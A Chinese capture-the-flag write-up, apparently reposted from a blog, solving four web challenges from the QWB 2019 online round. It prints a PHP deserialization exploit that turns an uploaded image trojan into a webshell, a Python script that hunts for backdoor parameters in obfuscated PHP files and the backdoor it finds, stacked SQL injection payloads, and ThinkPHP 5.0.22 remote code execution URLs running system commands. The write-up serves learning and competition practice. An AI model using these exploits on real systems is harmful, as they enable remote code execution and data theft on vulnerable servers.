强网杯2019线上赛-web

web1 upload |Solved

通过信息搜集可以得到泄露的源码,然后进行代码审计,是一个tp5的框架,代码审计,直接到核心的应用类去审计

抓包发现如下问题 cookie 是base64 的序列化值 相应的还有反序列化的值

在register 里面发现了一个call函数 可以对变量赋值

上传的函数中发现copy函数

绕过ext 就能执行copy函数 把图片木马copy成webshell。

解题过程

注册 上传一个图片木马

得到图片木马的地址/upload/hash1/hash2.png

序列化

写了一个脚本

<?php
namespace app\web\controller;
use think\Controller;
class Index extends Controller{
    public $profile;
    public $profile_db;}
class Register extends Controller{
    public $checker=true;
    public $registed;}

class Profile extends Controller{
    public $checker=false;
    public $filename_tmp="";
    public $filename="upload/1.php";
    public $upload_menu;
    public $ext=1;  //也能是True
    public $img;
    public $except=array("index"=>"upload_img");}

$a=new Index();
$b=new Register();
$b->checker=new Profile();
$a->profile=$b;
print_r(urlencode(base64_encode(serialize(Array('ID'=>$b)))));

关于这个调试 需要说一下的:如果要是不能在当前环境cli,直接include如下的脚本就可以执行成功。

<?php
namespace think;
use think\exception\ValidateException;
use traits\controller\Jump;
class Controller
{
    protected $view;
    protected $request;
    protected $failException = false;
    protected $batchValidate = false;
    protected $beforeActionList = [];
    protected $middleware = [];
}

把获得的图片木马地址替换到文件中 运行

得到一串base64

更改成cookie

然后 提交 会得到一个shell 然后拿flag。

flag 在/flag

web2 高明的黑客 |Solved

  • 从混淆的文件混淆代码中找后门:

  • 本地测试,利用脚本读取文件中的GET、POST参数变量,然后构造数据包访问文件尝试GET就出来了

脚本如下:

import requests
import os
import re


files = []
def traverse(f):
    fs = os.listdir(f)
    for f1 in fs:
        tmp_path = os.path.join(f, f1)
        if not os.path.isdir(tmp_path):
            files.append(tmp_path[4:])


def get_get(file):
    f = open(file)
    content = f.read()
    get = re.findall(r"GET\['(.+?)'\]", content)
    f.close()
    url_get = ''
    for tmp in get:
        # url_get += tmp+"=system('whoami')&"
        url_get += tmp+"=  &"
    return url_get[:-1]


# authority\system
traverse("src/")
url = "http://49.4.88.192:32352/"
# print url+files[0]+"?"+get_get(files[0])
# req=requests.get(url+files[0]+"?"+get_get(files[0])).text
# if req.find("desktop-dkt1pqh\\x1n") <0:
#     print "--------"+files[0]
#     exit()


def test_file(files):
    num = 0
    for file in files:
        url_test=url+file+"?"+get_get(file)
        print num, url_test
        num = num+1
        req = requests.get(url_test).text
        if req.find("authority\\system") > 0:
            print "--------"+file
            exit()


def test_get(file):
    f = open(file)
    content = f.read()
    get = re.findall(r"GET\['(.+?)'\]", content)
    f.close()
    for get_tmp in get:
        req = requests.get(url+file+"?"+get_tmp+"=whoami").text
        print get_tmp
        if req.find("authority\\system") > 0:
            print "--------"+get_tmp
            exit()


# test_file(files)
# src/xk0SzyKwfzw.php
test_get("src/xk0SzyKwfzw.php")

img

  • 测试发现是xk0SzyKwfzw.php文件的Efa5BVG变量a
$XnEGfa = $_GET['Efa5BVG'] ?? ' ';
$aYunX = "sY";
$aYunX .= "stEmXnsTcx";
$aYunX = explode('Xn', $aYunX);
$kDxfM = new stdClass();
$kDxfM->gHht = $aYunX[0];
($kDxfM->gHht)($XnEGfa); ///system($_GET['Efa5BVG'])
  • 利用后门找flag,/flag,读取

img

  • FLAG:flag{6e536eacb0056717eeafeb70f87d9807}

web3 随便注 |Solved

主要考察web的堆叠注入

过滤了主要的查询语句,

主要的思路就是查看数据结构,更改数据结构,然后更改表名 然后查询

查看数据结构

';show tables; desc words;

更改数据结构

';alter table `1919810931114514` add `id` INT(11) NOT NULL DEFAULT '1' after `flag`;

更改表名

';rename table words to words1;rename table `1919810931114514` to words;desc words;

然后直接查询:

1

得到flag~

web3.flag

听说有如下payload 队友大佬给了另外的paylod

set @sql = concat('create table ',newT,' like ',old); 
prepare s1 from @sql; 
execute s1; 

?inject=1';set+@sql=CHAR(115,101,108,101,99,116,32,49,44,50);Prepare+s1+from+@sql;execute+s1;

没有试过。

web 强网先锋-上单 |Solved

进入后,发现是thinkphp的基本框架
在这里插入图片描述![在这里插入图片描述](https://img-blog.csdnimg.cn/20190529110319879.PNG?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d5al8xMjE2,size_16,color_FFFFFF,t_70
于是首先访问/public/index.php
在这里插入图片描述
发现提示5.0.22

于是想到了thinkphp5.0.22的漏洞

http://119.3.203.228:32479/1/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
http://119.3.203.228:32479/1/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

在这里插入图片描述

发布了54 篇原创文章 · 获赞 25 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/wyj_1216/article/details/90667294